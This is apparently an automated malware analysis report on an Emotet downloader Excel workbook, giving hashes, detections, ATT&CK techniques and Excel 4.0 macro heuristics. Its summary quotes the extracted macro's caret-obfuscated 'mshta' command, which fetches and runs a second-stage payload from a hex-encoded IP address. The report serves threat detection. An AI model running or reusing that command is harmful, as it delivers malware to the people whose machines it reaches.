Emotet Office (OLE) / .XLS malware analysis — malicious · 73aeb25c431d2fc0

MALICIOUS

Office (OLE) / .XLS

101.2 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel

MD5: b3906e678d5ab4697fa884fbb79cc613 SHA-1: 4fc6e3dc2de1315c13520dc69cde43d6991d06fd SHA-256: 73aeb25c431d2fc0070b77d2a2d9032cfaaf5a05839ac82e338f6164a63a10b8

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as an Emotet downloader. The extracted XLM macro explicitly contains the string 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', which indicates the macro's intent to download and execute a second-stage payload from the specified URL. This is a common Emotet distribution technique.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	2903 bytes

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